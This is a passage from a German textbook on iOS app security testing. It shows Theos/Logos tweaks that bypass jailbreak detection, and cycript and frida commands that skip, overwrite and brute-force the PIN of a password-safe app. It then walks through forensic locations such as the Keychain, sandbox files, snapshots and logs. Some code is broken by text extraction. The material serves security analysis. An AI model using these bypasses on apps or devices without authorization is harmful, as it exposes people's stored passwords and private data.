Codebeispiel 6–10: Erstellung eines Tweak-Templates mittels Theos<br />
Mittels nic.pl haben wir nun einen iPhone-Tweak erzeugt mit dem Namen jbobfuscator<br />
und dem Paketnamen de.mspreitz.jbobfuscator. Beachten muss man
152 6 Sicherheitsprobleme bei iOS-Applikationen<br />
hierbei noch, dass man den Bundle filter entsprechend der Applikation anpasst,<br />
die man zur Laufzeit manipulieren möchte. Im aktuellen Verzeichnis hat uns dieses<br />
Tool nun ein Template erzeugt, das wir für unsere Laufzeitmanipulation verwenden<br />
können.<br />
Da wir bereits wissen, dass der zu manipulierende Check in der Methode<br />
isDeviceJailbroken sitzt, können wir das Template – dieses liegt in der Datei<br />
Tweak.xm – nun mittels Logos wie in Codebeispiel 6–11 gezeigt anpassen.<br />
%hook SecurityChecks<br />
- (BOOL) isDeviceJailbroken {<br />
return NO;<br />
}<br />
%end<br />
Codebeispiel 6–11: Erstellung eines Tweaks mittels Logos<br />
In Codebeispiel 6–12 haben wir einen zweiten Tweak erzeugt, der beim Aufruf<br />
des Befehls fork aus einer Applikation heraus den eigentlichen Aufruf durch<br />
new_fork ersetzt und als Return-Wert immer -1 zurückgibt. Hierdurch denkt die<br />
Applikation, dass fork nicht erfolgreich ausgeführt werden konnte und das Endgerät<br />
somit vertrauenswürdig ist.<br />
#include <br />
#include <br />
static pid_t (*original_fork)(void);<br />
pid_t new_fork(void) {<br />
return -1;<br />
}<br />
%ctor{MSHookFunction((void*)fork,(void*)new_fork,(void**)&original_fork);}<br />
Codebeispiel 6–12: Erstellung eines weiteren Tweaks mittels Logos<br />
Möchten wir die beiden so erstellten Tweaks nun auf dem Testgerät ausführen<br />
um die Jailbreak-Erkennung zu umgehen, müssen wir sie nur noch mittels make<br />
kompilieren und die so erzeugten Dynamic Libraries auf das Gerät in das Verzeichnis<br />
/Library/<strong>Mobile</strong>Substrate/DynamicLibraries/ kopieren.<br />
Startet man nun die Applikation, die man in den Bundle filter des Tweaks<br />
eingetragen hat, so wird beim Aufruf der Methode isDeviceJailbroken automatisch<br />
der Wert NO zurückgeliefert und die Methode wird nicht weiter ausgeführt.<br />
Wenn dies die einzigen beiden Prüfroutinen waren, um einen Jailbreak zu erken-
6.3 iOS-Applikationen zur Laufzeit manipulieren 153<br />
nen, haben wir die Applikation mit unserem Tweak überlistet und sie erkennt das<br />
Gerät als vertrauenswürdig an.<br />
Meist verwenden Entwickler an mehreren Stellen solche Prüfroutinen, um es<br />
einem Angreifer möglichst schwer zu machen, die Prüfung zu manipulieren. Die<br />
Kunst des Analysten liegt darin, all diese Methoden zu finden und, wie hier beschrieben,<br />
entsprechende Laufzeitmanipulationen mittels Tweaks vorzunehmen.<br />
6.3.2 Umgehen der Applikations-PIN<br />
Laufzeitmanipulationen sind aber nicht nur beim Umgehen der Jailbreak-Erkennung<br />
sinnvoll, sondern auch an Stellen, wo man z. B. PIN-Abfragen von Applikationen<br />
umgehen muss wie bei der Applikation aus Abbildung 6–7.<br />
Abb. 6–7: Passwort-Safe-Applikation mit einer PIN-Abfrage, um vor unberechtigtem Zugriff<br />
zu schützen<br />
Diese Applikation benötigt eine 4-stellige PIN, um an die hinterlegten Daten zu<br />
gelangen. Da wir diese PIN nicht kennen, wollen wir nun versuchen, trotzdem<br />
in die Applikation zu kommen. Hierzu gibt es generell drei Methoden, die wir<br />
nachfolgend verwenden werden:<br />
1. Umgehen des Bildschirms zur PIN-Abfrage<br />
2. Überschreiben der PIN<br />
3. Brute-Forcing der PIN im Hintergrund
154 6 Sicherheitsprobleme bei iOS-Applikationen<br />
Umgehen des Bildschirms zur PIN-Abfrage<br />
Die erste Methode, um in die eigentliche Applikation und die darin gespeicherten<br />
Daten zu gelangen, ist die wohl zugleich einfachste. Wir versuchen die PIN-<br />
Abfrage einfach zu umgehen. Dies funktioniert immer dann, wenn die PIN nicht<br />
zum Entschlüsseln der Daten benötigt wird, oder wenn zu einem späteren Zeitpunkt<br />
nicht geprüft wird, ob die PIN wirklich eingegeben wurde.<br />
Das allgemeine Vorgehen ist auch hier wieder identisch zu dem in Abschnitt<br />
5.3 gezeigten: Auffinden der Applikation, Entschlüsseln und anschließender<br />
Download auf den Analyserechner. Hier startet nun die Detektivarbeit, wie<br />
wir sie auch schon im vorherigen Abschnitt angeschnitten hatten: Wir suchen<br />
mittels class-dump nach Klassen, die Bildschirmanzeigen – sogenannte Views –<br />
beschreiben. Dies liefert bei unserer zu analysierenden Applikation eine recht lange<br />
Liste mit den folgenden interessanten Inhalten (siehe Codebeispiel 6–13):<br />
@interface MainView : XXUnknownSuperclass {<br />
....<br />
}<br />
Codebeispiel 6–13: Interessante Views innerhalb unserer zu analysierender Applikation<br />
Dieses Interface hört sich ganz nach dem eigentlichen Hauptbildschirm der Applikation<br />
an, der nach erfolgreicher Prüfung der PIN angezeigt wird. Im Folgenden<br />
wollen wir testen, ob wir an diesen Bildschirm auch dann gelangen, wenn wir die<br />
PIN nicht wissen, und ob dann auch alle Nutzerdaten vorhanden sind. Dazu müssen<br />
wir cycript an die laufende Applikation anhängen und der UIApp.keyWindow-<br />
Variablen sagen, dass nicht die PIN-Abfrage, sondern der MainView angezeigt werden<br />
soll (siehe dazu Codebeispiel 6–14).<br />
# zuerst benötigen wir die PID der zu analysierenden Applikation<br />
$: ps aux | grep Password\ Keeper\ Lite<br />
mobile 793 17.8 4.2 646236 43688 ?? Ss 5:42PM 0:04.03 /var/mobile/Containers/<br />
Bundle/Application/7AA5C9A9-633A-462E-8479-8C4952C79F84/Password Keeper<br />
Lite.app/Password Keeper Lite<br />
# nun verbinden wir cycript mit der laufenden Applikation<br />
$: cycript -p 793<br />
cy:
6.3 iOS-Applikationen zur Laufzeit manipulieren 155<br />
# in diesem Schritt teilen wir der Applikation mit, dass sie uns die MainView<br />
anzeigen soll und nicht die PIN-Abfrage<br />
cy: UIApp.keyWindow.rootViewController = [[MainView alloc] init];<br />
""<br />
cy:<br />
Codebeispiel 6–14: Umgehen der PIN-Abfrage mittels cycript<br />
Bei dieser Applikation funktioniert der gezeigte Angriff und wir sind an der PIN-<br />
Abfrage vorbeigekommen und können nun alles sehen, was der legitime Nutzer<br />
eingegeben hat. Doch das ist nicht immer so einfach möglich, da viele Entwickler<br />
sich diesen Angriffen bewusst sind und die Daten – gerade bei solchen Applikationen<br />
– mit der Nutzer-PIN verschlüsseln. In diesem Fall ist es nötig, die reale<br />
PIN zu wissen, um die Daten lesen zu können.<br />
Überschreiben der vom Nutzer hinterlegten PIN<br />
In manchen Situationen ist es durchaus sinnvoll, einfach die PIN des Nutzers zu<br />
überschreiben, um so Zugriff auf die Applikation zu bekommen. Das können<br />
wir mit der Hilfe von Snoop-it erreichen (siehe dazu Abbildung 6–8) oder mittels<br />
frida wie in Codebeispiel 6–15 gezeigt.<br />
Python 2.7.10 (default, Oct 23 2015, 19:19:21)<br />
[GCC 4.2.1 Compatible Apple LLVM 7.0.0 (clang-700.0.59.5)] on darwin<br />
Type "help", "copyright", "credits" or "license" for more information.<br />
>>> import frida,sys<br />
>>> frida.get_device_manager().enumerate_devices()<br />
[Device(id="local", name="Local System", type='local'),<br />
Device(id="tcp", name="Local TCP", type='remote'),<br />
Device(id="460683e35xxxx02526d", name="iPhone", type='tether')]<br />
>>> jscode = """<br />
... var AppDelegate = ObjC.use("AppDelegate");<br />
... AppDelegate.newPassword_("1111");<br />
... """<br />
>>> process = frida.get_device_manager().enumerate_devices()[2].attach(793)<br />
>>> session = process.session<br />
>>> script = session.create_script(jscode)<br />
>>> script.load()<br />
Codebeispiel 6–15: Überschreiben der Nutzer-PIN mittels frida
156 6 Sicherheitsprobleme bei iOS-Applikationen<br />
Abb. 6–8: Überschreiben der Nutzer-PIN mittels Snoop-it
6.3 iOS-Applikationen zur Laufzeit manipulieren 157<br />
In diesem einfachen Beispiel einer Instrumentation mithilfe von frida können wir<br />
das grobe Vorgehen sehr gut erkennen. Wir starten die interaktive Python-Shell<br />
auf unserem Analyserechner und importieren zuerst die frida-Bindings für Python.<br />
Danach schreiben wir ein kleines Codefragment in JavaScript, das später<br />
mit frida ausgeführt wird. Der Aufbau des Skriptes ist vergleichbar mit dem,<br />
wie wir es in cycript auch machen würden. Wir suchen die entsprechende Klasse<br />
(AppDelegate) und die darin benötigte Methode (newPassword). Dieser übergeben<br />
wir die neue PIN, die wir gerne gesetzt hätten.<br />
Im Nachgang verbinden wir frida mit unserem angeschlossenen Gerät und<br />
koppeln unser Skript mit der PID 793 (das ist die laufende Applikation, die wir<br />
manipulieren möchten). Die richtige PID finden wir über die Eingabe von frida-ps<br />
-U heraus und das passende Endgerät erhalten wir über den zweiten Codeschnipsel<br />
in Codebeispiel 6–15 (frida.get_device_manager().enumerate_devices()). Hierbei<br />
ist nur wichtig darauf zu achten, dass man nicht die id verwendet, die dieser<br />
Aufruf zurückgibt, sondern bei 0 beginnend die Listenelemente durchzählt. So<br />
erhalten wir als id für unser Testgerät die 2.<br />
Brute-Forcing der Applikations-PIN<br />
In vielen Fällen kann es sinnvoll sein, die PIN eines Nutzers bei einer gewissen<br />
Applikation per Brute-Force-Angriff zu erraten. Dies ist nicht nur dann wichtig,<br />
wenn es wie im Abschnitt zuvor gezeigt darum geht, auf die Applikation selbst<br />
zuzugreifen, sondern auch in Fällen, wo auf dem Endgerät noch mehr Applikationen<br />
mit PIN-Sperren vorhanden sind. Hier kann man davon ausgehen, dass<br />
überall dieselbe – oder zumindest eine ähnliche – PIN verwendet wird, und man<br />
muss nicht bei jeder Applikation die zuvor gezeigten Angriffe vornehmen.<br />
Auch hier helfen uns wieder cycript und class-dump. Wenn wir uns nochmals<br />
die Ausgabe von class-dump ansehen, so finden wir auch eine Methode mit dem<br />
Namen checkPassword innerhalb der delegate-Klasse. Diese Methode können wir<br />
verwenden, um eine PIN zu prüfen (wie in Codebeispiel 6–16 gezeigt).<br />
# zuerst benötigen wir die PID der zu analysierenden Applikation<br />
$: ps aux | grep Password\ Keeper\ Lite<br />
mobile 793 17.8 4.2 646236 43688 ?? Ss 5:42PM 0:04.03 /var/mobile/Containers/<br />
Bundle/Application/7AA5C9A9-633A-462E-8479-8C4952C79F84/Password Keeper<br />
Lite.app/Password Keeper Lite<br />
# nun verbinden wir cycript mit der laufenden Applikation<br />
$: cycript -p 793<br />
cy:
158 6 Sicherheitsprobleme bei iOS-Applikationen<br />
# in diesem Schritt prüfen wir eine PIN<br />
cy: [UIApp.delegate checkPassword:"4711"]<br />
0<br />
cy:<br />
Codebeispiel 6–16: Prüfen einer PIN mittels cycript<br />
Wie wir anhand der Rückgabe der Methode sehen, war 4711 die falsche PIN.<br />
Aber dies können wir nun auch nutzen, um eine einfache Funktion in cycript zu<br />
schreiben, die uns per Brute-Force-Angriff die richtige PIN ermittelt – immerhin<br />
gibt es bei 4-stelligen PINs nur 10.000 verschiedene PINs und diese sind auf<br />
heutigen Smartphones in relativ kurzer Zeit zu testen. Die fertige Funktion zeigt<br />
Codebeispiel 6–17.<br />
cy: var pin=0000;<br />
0000<br />
cy: function bruteforcePIN()<br />
cy> {<br />
cy> for(var i=0; i {<br />
cy> var result = [UIApp.delegate checkPassword:""+i];<br />
cy> if(result=="1") pin=i;<br />
cy> }<br />
cy> }<br />
cy: bruteforcePIN()<br />
cy: print:pin;<br />
4242<br />
Codebeispiel 6–17: Brute-Force-Angriff auf eine PIN mittels cycript<br />
Hier sehen wir, dass die PIN für die Applikation 4242 lautet. Man muss allerdings<br />
dazusagen, dass diese Applikation keinen Zähler für falsch eingegebene PINs besitzt,<br />
ansonsten müssten wir nach jedem Versuch diesen Zähler wieder auf 0 zu<br />
setzen versuchen, bevor wir den kritischen Wert erreichen und die Daten innerhalb<br />
der Applikation u. U. gelöscht werden.
6.4 Spurensuche im Dateisystem 159<br />
6.4 Spurensuche im Dateisystem<br />
Wie wir schon bei Android in Abschnitt 4.7 gesehen haben, besteht eine der wichtigsten<br />
Aufgaben, die jeder Penetrationstester verfolgen sollte, darin, die Speicherung<br />
der Daten zu analysieren, die eine Applikation verarbeitet. Auch bei iOS<br />
lassen sich hier sehr häufig Hinweise auf Nutzerdaten (wie z. B. Passwörter und<br />
Applikations-PINs) und sensible Dokumente finden, die mit der Applikation zuvor<br />
verarbeitet wurden.<br />
Im Gegensatz zu Android gibt es bei iOS aktuell keinen bekannten Weg, wie<br />
man an der Bildschirmsperre oder der Geräteverschlüsselung vorbeikommt, ohne<br />
dass man die Mitarbeit des Nutzers erhält. Es gibt Sonderfälle – wie z. B. das<br />
zeitgleiche Analysieren eines mit dem iOS-Endgerät gekoppelten PCs oder das<br />
Vorhandensein des Zugriffs auf das iCloud-Backup –, auf die wir im Rahmen<br />
dieses Buches aber nicht näher eingehen möchten.<br />
Da wir in diesem Buch den Sicherheitsanalysten im Fokus haben – und dieser<br />
meist auch im Besitz des Codes für die Bildschirmsperre ist –, gehen wir davon<br />
aus, dass der Zugriff auf das iOS-Endgerät nicht eingeschränkt ist. Im Rahmen<br />
der kommenden Abschnitte zeigen wir interessante Daten und deren Speicherort,<br />
die für einen Sicherheitsanalysten immer einen Blick wert sind. Zu diesen Orten<br />
zählen neben der bekannten Keychain (Abschnitt 6.4.1) vor allem die Snapshots<br />
der Applikation (Abschnitt 6.4.3) und die Cache-Dateien des Betriebssystems<br />
(Abschnitt 6.4.6).<br />
6.4.1 Die Keychain und ihre Daten<br />
In Abschnitt 1.2.3 haben wir bereits die Grundfunktionen und verschiedenen<br />
Schutzklassen der Keychain kennengelernt. Im Folgenden soll verdeutlicht werden,<br />
weshalb es wichtig ist, die Inhalte der Keychain sowie die unterschiedlichen<br />
Schutzklassen genau zu betrachten.<br />
Um die gesamte Keychain auslesen zu können, verwenden wir wie in Abschnitt<br />
6.1.5 gezeigt das Tool Keychain-Dumper. Der damit erzeugte Dump,<br />
beinhaltet die komplette Keychain mit allen dort hinterlegten Passwörtern, Nutzernamen<br />
und Zertifikaten. Doch bei vielen Applikationen findet man hier auch<br />
die PIN, mit der die Applikation vor unberechtigten Dritten geschützt wird<br />
(wie am Beispiel von einer Office-Applikation mit Passwortschutz in Codebeispiel<br />
6–18 zu sehen). Diese PIN kann uns oft weiterhelfen, um zu verifizieren, ob<br />
gewisse – sensible – Daten überhaupt in der Applikation vorhanden sind und ob<br />
sie anhand dieser PIN verschlüsselt abgelegt werden.
160 6 Sicherheitsprobleme bei iOS-Applikationen<br />
Generic Password<br />
----------------<br />
Service:<br />
Account:<br />
Entitlement Group: 9ZYVGY3S6N.com.bytesquared.office2ipad<br />
Label:<br />
Generic Field: com.bytesquared.office2hd.app_passcode<br />
Keychain Data: 5566<br />
Codebeispiel 6–18: Applikations-PIN unverschlüsselt in der Keychain<br />
Noch wichtiger ist jedoch die Überprüfung, welche Schutzklassen Daten haben,<br />
die in der Keychain abgelegt werden. Für besonders kritische Daten erwartet<br />
man von einer Applikation, dass sie diese mit einer Nutzer-PIN verschlüsselt in<br />
der Keychain ablegt. Hiermit wird eine zusätzliche Schutzschicht eingezogen, die<br />
auch durch einen Jailbreak nicht ohne Weiteres umgangen werden kann.<br />
Aber wie sieht es mit anderen – zumeist ebenfalls kritischen – Daten aus? Hier<br />
möchte man als Sicherheitsanalyst, dass stets das höchstmögliche Schutzniveau<br />
gewählt wird, das verfügbar ist (vergleiche dazu auch Tabelle 1–3). Im Falle der<br />
Keychain also kSecAttrAccessibleWhenUnlocked.<br />
Um dies zu prüfen, können wir auf einige der bereits vorgestellten Tools zurückgreifen<br />
(z. B. Snoop-it und idb). Im folgenden Beispiel wählen wir eine Third-<br />
Party-Notes-Applikation und Snoop-it, um uns anzeigen zu lassen, welche Daten<br />
in der Keychain abgelegt werden und welche entsprechenden Schutzklassen von<br />
den Applikationsentwicklern gewählt wurden (siehe Abbildung 6–9).<br />
In diesem Beispiel zeigt uns Snoop-it schon direkt an, dass die Zugriffe auf<br />
die Keychain (zu sehen an den ausgefüllten Kreisen links in der Abbildung) grün<br />
Abb. 6–9: Auswertung der Keychain-Zugriffe einer Third-Party-Notes-Applikation mittels<br />
Snoop-it
6.4 Spurensuche im Dateisystem 161<br />
sind, was so viel bedeutet wie: Der maximale Schutz ist für diesen Eintrag in der<br />
Keychain gewählt worden. Dies ist jedoch nicht bei allen Applikationen so.<br />
6.4.2 Die Applikations-Sandbox und ihre Daten<br />
Wie wir auch schon bei Android gesehen haben, besitzt jede Applikation bei iOS<br />
eine eigene Sandbox – also einen geschützten Bereich, in dem sie ihre Daten verwalten<br />
und sichern kann. Neben den in den folgenden Abschnitten beschriebenen<br />
Dateien finden sich hier vornehmlich SQLite-Datenbanken, plist-Dateien und alles,<br />
was die Applikation noch verarbeitet.<br />
Beim Analysieren dieser Dateien gibt es zwei wesentliche Fragestellungen,<br />
denen wir als Analyst nachgehen müssen:<br />
■<br />
■<br />
Was speichert die Applikation in ihrer Sandbox überhaupt?<br />
Wie speichert sie es?<br />
Die zweite Frage ist in den meisten Fällen deutlich einfacher zu beantworten,<br />
da es hierfür ausreicht, die NSFileProtection-Level der verwendeten Dateien und<br />
Verzeichnisse zu prüfen. Hierfür können wir wieder die zuvor erwähnten Tools<br />
Snoop-it, idb oder auch FileDP verwenden.<br />
Zuerst wird mit idb gezeigt, wie einfach herauszufinden ist, welche Schutzklassen<br />
auf Dateisystemebene verwendet werden. Dazu wählen wir eine weitere<br />
Applikation zum angeblich sicheren Speichern von Notizen: Notes Locker.<br />
Wie in Abbildung 6–10 zu sehen ist, besitzt die Applikation mehrere Verzeichnisse<br />
innerhalb ihrer Sandbox (von idb als Data Dir bezeichnet). Von besonderem<br />
Interesse sind bei solchen Analysen immer Dateien innerhalb des<br />
Documents-Verzeichnisses und natürlich auch das Preferences-Verzeichnis (auf deren<br />
Inhalt werden wir später noch zurückkommen). Betrachten wir die markierten<br />
Bereiche, so sehen wir, dass es innerhalb von Documents eine Datei namens<br />
notesLocker.sqlite gibt, die jedoch nur eine Schutzklasse von NSFileProtection-<br />
None besitzt, also keinerlei der von iOS vorgegebenen Verschlüsselungsstufen verwendet.<br />
Dies bedeutet, dass diese Datei zu keinem Zeitpunkt verschlüsselt auf<br />
dem Gerät vorliegt. Eine solche Einstellung sollte nur dann der Fall sein, wenn<br />
keinerlei Daten, die den Nutzer betreffen, innerhalb dieser Datenbank liegen.<br />
Doch wenn man sich deren Inhalt genauer betrachtet, so sieht man, dass hier<br />
alle Notizen des Nutzers gesichert und somit für jeden Angreifer frei zugänglich<br />
sind (siehe Abbildung 6–11).<br />
Dies zeigt recht anschaulich, dass der Sperrbildschirm der Applikation, der<br />
nur mit korrekter 4-stelliger PIN umgangen werden kann, nur vor einem unberechtigten<br />
Dritten schützt, der über die GUI versucht, Daten zu entwenden.<br />
Doch sobald ein Angreifer Zugriff auf Dateisystemebene oder mittels forensischer<br />
Werkzeuge besitzt, sind die Notizen nicht länger geschützt. Betrachten wir nun<br />
noch das schon erwähnte Preferences-Verzeichnis, so sehen wir eine plist-Datei,
162 6 Sicherheitsprobleme bei iOS-Applikationen<br />
Abb. 6–10: Auswertung der Schutzklassen auf Dateisystemebene der Notes Locker Applikation<br />
mittels idb<br />
Abb. 6–11: Analyse der notesLocker.sqlite-Datei<br />
die per NSFileProtectionCompleteUntilFirstUserAuthentication geschützt ist. Also<br />
immer dann verschlüsselt ist, wenn das Smartphone oder Tablet ausgeschaltet ist<br />
oder nach dem Reboot kein Nutzer auf dem Endgerät den Bildschirm entsperrt<br />
hat. Dies ist eine sehr häufige Schutzklasse, da sie der Defaultwert auf iOS 9.x-<br />
Endgeräten ist, sollte der Entwickler nichts anderes angegeben haben. Prinzipiell<br />
ist dies für die meisten Dateien auch vollkommen ausreichend, jedoch sollte für
6.4 Spurensuche im Dateisystem 163<br />
Dateien mit kritischem Inhalt die Klasse NSFileProtectionComplete gewählt werden<br />
(die Unterschiede dieser beiden Klassen sind in Abschnitt 1.2.3 beschrieben).<br />
Sobald wir einen Blick in diese plist-Datei werfen, sehen wir, dass hier gleich<br />
mehrere Fehler des Entwicklers gemacht wurden (siehe Abbildung 6–12). Zum<br />
einen beinhaltet diese Datei die sehr kritische PIN 4711, die zum Entsperren der<br />
Applikation selbst benötigt wird, im Klartext. Zum anderen besitzt sie mit der<br />
PIN und dem vom Nutzer eingegebenen Passworthinweis this is the hint auch<br />
kritischen Inhalt und sollte mit der höchstmöglichen Schutzklasse geschützt werden.<br />
Abb. 6–12: Analyse der plist-Datei von Notes Locker<br />
Möchten wir bei einer Analyse die Schutzklassen von allen Dateien innerhalb<br />
der Sandbox auf einen Blick erhalten, so geht dies unter Verwendung von FileDP<br />
(siehe dazu auch Abschnitt 6.1.6) deutlich einfacher. Codebeispiel 6–19 zeigt dies<br />
am Beispiel der gerade beschriebenen Applikation.<br />
$: ./FileDP -d /private/var/mobile/Containers/Data/Application/8AA4F1C7<br />
-8475-44F7-A448-FF733D756B3A/<br />
2016-03-30 17:13:54.056 FileDP[1004:28036] file name is:/private/var/mobile/<br />
Containers/Data/Application/8AA4F1C7-8475-44F7-A448-FF733D756B3A/.com.<br />
apple.mobile_container_manager.metadata.plist - protection class:<br />
NSFileProtectionNone<br />
2016-03-30 17:13:54.062 FileDP[1004:28036] file name is:/private/var/mobile/<br />
Containers/Data/Application/8AA4F1C7-8475-44F7-A448-FF733D756B3A/<br />
Documents/notesLocker.sqlite - protection class:NSFileProtectionNone<br />
....<br />
2016-03-30 17:13:54.067 FileDP[1004:28036] file name is:/private/var/mobile/<br />
Containers/Data/Application/8AA4F1C7-8475-44F7-A448-FF733D756B3A/Library<br />
/Caches/Snapshots/com.redstonztechnologies.noteslockerfree/20B23C58-B9CD<br />
-4469-A795-AE4C216AEF9A@2x.png - protection class:<br />
NSFileProtectionCompleteUnlessOpen
164 6 Sicherheitsprobleme bei iOS-Applikationen<br />
2016-03-30 17:13:54.069 FileDP[1004:28036] file name is:/private/var/mobile/<br />
Containers/Data/Application/8AA4F1C7-8475-44F7-A448-FF733D756B3A/Library<br />
/Caches/Snapshots/com.redstonztechnologies.noteslockerfree/downscaled/<br />
E462634B-0F8F-4F66-B6CD-C265D0626190@2x.png - protection class:<br />
NSFileProtectionCompleteUnlessOpen<br />
....<br />
2016-03-30 17:13:54.115 FileDP[1004:28036] file name is:/private/var/mobile/<br />
Containers/Data/Application/8AA4F1C7-8475-44F7-A448-FF733D756B3A/Library<br />
/Preferences/com.redstonztechnologies.noteslockerfree.plist - protection<br />
class:NSFileProtectionCompleteUntilFirstUserAuthentication<br />
2016-03-30 17:13:54.116 FileDP[1004:28036] file name is:/private/var/mobile/<br />
Containers/Data/Application/8AA4F1C7-8475-44F7-A448-FF733D756B3A/<br />
StoreKit/receipt - protection class:<br />
NSFileProtectionCompleteUntilFirstUserAuthentication<br />
Codebeispiel 6–19: Auswertung der Schutzklassen auf Dateisystemebene der Applikation<br />
Notes Locker mittels FileDP<br />
Wie wir gerade schon gesehen haben, sind die Schutzklassen ein wichtiger Aspekt<br />
einer Analyse, jedoch sind die eigentlichen Inhalte der innerhalb der Sandbox gesicherten<br />
Daten noch viel interessanter. Dies wird noch deutlicher, wenn wir das<br />
Beispiel Skype betrachten. Hier hat es uns Microsoft noch etwas einfacher gemacht,<br />
denn dieses Mal benötigen wir weder einen Jailbreak noch weitere Tools,<br />
es reicht die Verwendung von iTunes, wie in Abbildung 6–13 zu sehen ist.<br />
Hierüber erhalten wir alle Verläufe, die der Nutzer der Skype-Applikation<br />
auf diesem iOS-Endgerät mit seinen Kontakten geführt hat, und dies in sehr übersichtlichen<br />
plist-Dateien. So etwas sollte für solch sensible Daten jedoch in professionellen<br />
Applikationen nicht vorkommen und stellt hier eher die Ausnahme –<br />
oder einen Bug – dar.<br />
Das soeben anhand von zwei Applikationen demonstrierte Vorgehen zeigt<br />
aber auch, dass man sich die Dateien in der Sandbox sehr gründlich anschauen<br />
sollte, da hier meist die wichtigsten Informationen aus forensischer Sicht liegen,<br />
teilweise sogar PINs oder Passwörter, die eine tiefere Analyse deutlich erleichtern.<br />
6.4.3 Der Snapshot einer Applikation<br />
Apple hat in iOS eine für den Nutzer hilfreiche und hübsche Funktion eingebaut,<br />
die es ermöglicht, beim Wechsel zwischen einzelnen Applikationen zu sehen, was<br />
der zuletzt angezeigte Bildschirm der jeweiligen Applikation war. Hierzu erzeugt<br />
iOS sogenannte Snapshots, also Schnappschüsse, der Applikation und speichert<br />
diese innerhalb der Sandbox. Dies geschieht immer dann, wenn der Nutzer eine<br />
Applikation verlässt, um zurück zum Homescreen zu kommen (z. B. durch<br />
Drücken der Home-Taste), beim Sperren des Bildschirms oder wenn ein Anruf
6.4 Spurensuche im Dateisystem 165<br />
Abb. 6–13: Chat-Verlauf von Skype mittels iTunes auslesen<br />
eingeht und die gerade verwendete Applikation in den Hintergrund verschoben<br />
wird. Wie man sich gut vorstellen kann, können diese Snapshots auch vertrauliche<br />
Inhalte haben, wenn z. B. ein Anruf eingeht, während der Nutzer gerade dabei<br />
war, eine E-Mail zu schreiben.<br />
Abbildung 6–14 zeigt sehr schön, dass Chrome den Inhalt der Webseite in<br />
einem Snapshot speichert, bevor er in den Hintergrund geschickt wird, Applikationen<br />
wie Signal oder Threema jedoch diesen Snapshot mit einem vordefinierten<br />
leeren Bild ersetzen, sodass keine sensiblen Informationen in einem Snapshot gespeichert<br />
werden. Auch Banking-Applikationen sollten dieses Verhalten an den<br />
Tag legen, da deren Inhalte prinzipiell nicht für Dritte bestimmt sind.<br />
Für uns als Analysten ist es natürlich wichtig, zu wissen, wo wir diese<br />
Snapshots im Dateisystem finden können, da sie oft wichtige Informationen beinhalten,<br />
die u. U. auf dem Endgerät sonst nur verschlüsselt – oder im schlechtesten<br />
Fall – gar nicht mehr vorhanden sind. Dazu müssen wir auf dem iOS-Endgerät<br />
in das zur fragwürdigen Applikation gehörende Sandbox-Verzeichnis navigieren.<br />
Dort findet sich im Ordner /var/mobile/Containers/Data/Application/<br />
/Library/Caches/Snapshots/ oder<br />
/var/mobile/Containers/Data/Application//Library/Caches/<br />
Snapshots//downscaled/ meist eine Datei mit der<br />
Endung png. Der Unterschied der beiden Dateien liegt lediglich darin, dass sie<br />
den Snapshot in verschiedenen Auflösungen speichern.
166 6 Sicherheitsprobleme bei iOS-Applikationen<br />
Abb. 6–14: iOS-Taskmanager mit Snapshots verschiedener Applikationen<br />
Diese Dateien können bei einer Analyse einer Applikation sehr wichtig sein und<br />
sollten daher immer betrachtet werden.<br />
Für Applikationen, die vertrauliche oder kritische Inhalte verarbeiten sollen,<br />
bietet iOS über die willEnterBackground-API die Möglichkeit, diesen Snapshot<br />
durch ein vordefiniertes Bild zu ersetzen (wie dies in der Applikation aussehen<br />
könnte, siehe Codebeispiel 6–20).<br />
- (void)applicationDidEnterBackground:(UIApplication *)application<br />
{<br />
UIImageView *imageView = [[UIImageView alloc]<br />
initWithFrame:self.window.bounds];<br />
imageView.tag = 101;<br />
[imageView setImage:[UIImage imageNamed:@"Default.png"]];<br />
[UIApplication.sharedApplication.keyWindow.subviews.lastObject<br />
addSubview:imageView];<br />
}<br />
Codebeispiel 6–20: Erzeugen eines Splash Screen, der verhindert, dass Daten der Applikation<br />
in einem Snapshot enthalten sind
6.4 Spurensuche im Dateisystem 167<br />
6.4.4 Die systemeigenen Logs<br />
Entwickler mögen es, wenn sie während der Entwicklung von Applikationen Logausgaben<br />
verwenden können, um zu sehen, ob ihre Applikation auch das macht,<br />
was sie von ihr erwarten. Aus der PC-Welt kennen wir das, dort wird häufig –<br />
abhängig von der verwendeten Programmiersprache – printf() verwendet; bei<br />
Skriptsprachen ist es hingegen meist etwas wie print() oder console.log(). Vergleichbares<br />
gibt es auch bei iOS, hier heißt es NSLog.<br />
Der große Nachteil an NSLog ist jedoch, dass diese Ausgaben dort längere Zeit<br />
gecacht werden und jedem zur Verfügung stehen, der im physischen Besitz des<br />
entsprechenden iOS-Endgerätes ist. Dazu reicht es, wenn man das Gerät per USB<br />
mit einem Analyserechner und Xcode verbindet und dort in die Device-Ansicht<br />
wechselt (siehe Abbildung 6–15).<br />
Abb. 6–15: Xcode mit der Logausgabe eines verbundenen iOS-Endgerätes<br />
Selbige Ausgaben können wir auch mittels des in Abschnitt 6.1.3 beschriebenen<br />
Tools idb beschaffen, in dem wir dort einfach auf den Button Log klicken (siehe<br />
Abbildung 6–16).<br />
In diesen beiden Abbildungen sieht man sehr schön, dass hier per NSLog der<br />
Name des erfolgreich eingeloggten Nutzers ausgegeben wird. Dies sollte bei Applikationen,<br />
die den Betastatus verlassen haben oder bereits über die offiziellen<br />
Stores verteilt werden, nie der Fall sein. Leider sehen wir ein solches Verhalten<br />
aber öfter, weshalb das sorgfältige Prüfen der Logausgaben immer zu den Aufgaben<br />
eines Analysten gehört.
168 6 Sicherheitsprobleme bei iOS-Applikationen<br />
Abb. 6–16: idb mit der Logausgabe eines verbundenen iOS-Endgerätes<br />
6.4.5 Die Zwischenablage<br />
Zwischenablagen (engl. Pasteboards) gibt es auch in iOS und sie machen das<br />
Leben für den Nutzer um ein ganzes Stück einfacher. Jedoch haben die meisten<br />
dieser Pasteboards auch ein großes Problem, sobald es um Sicherheit geht: Sie<br />
haben keinerlei Zugriffsschutz.<br />
iOS bietet mehrere Typen von Pasteboards an, aus denen ein Entwickler wählen<br />
kann, möchte er die gewünschte Funktionalität in seine Applikation integrieren:<br />
■<br />
■<br />
■<br />
UIPasteBoardNameGeneral: Diese Zwischenablage ist der eigentliche Default.<br />
Immer wenn ein Nutzer Text oder Objekte kopiert oder ausschneidet, landen<br />
sie hier. Die Inhalte sind öffentlich.<br />
UIPasteBoardNameFind: Diese Zwischenablage speichert alle Werte, die in Suchfelder<br />
des Typs UISearchBar eingegeben werden. Die Inhalte sind jedoch ebenfalls<br />
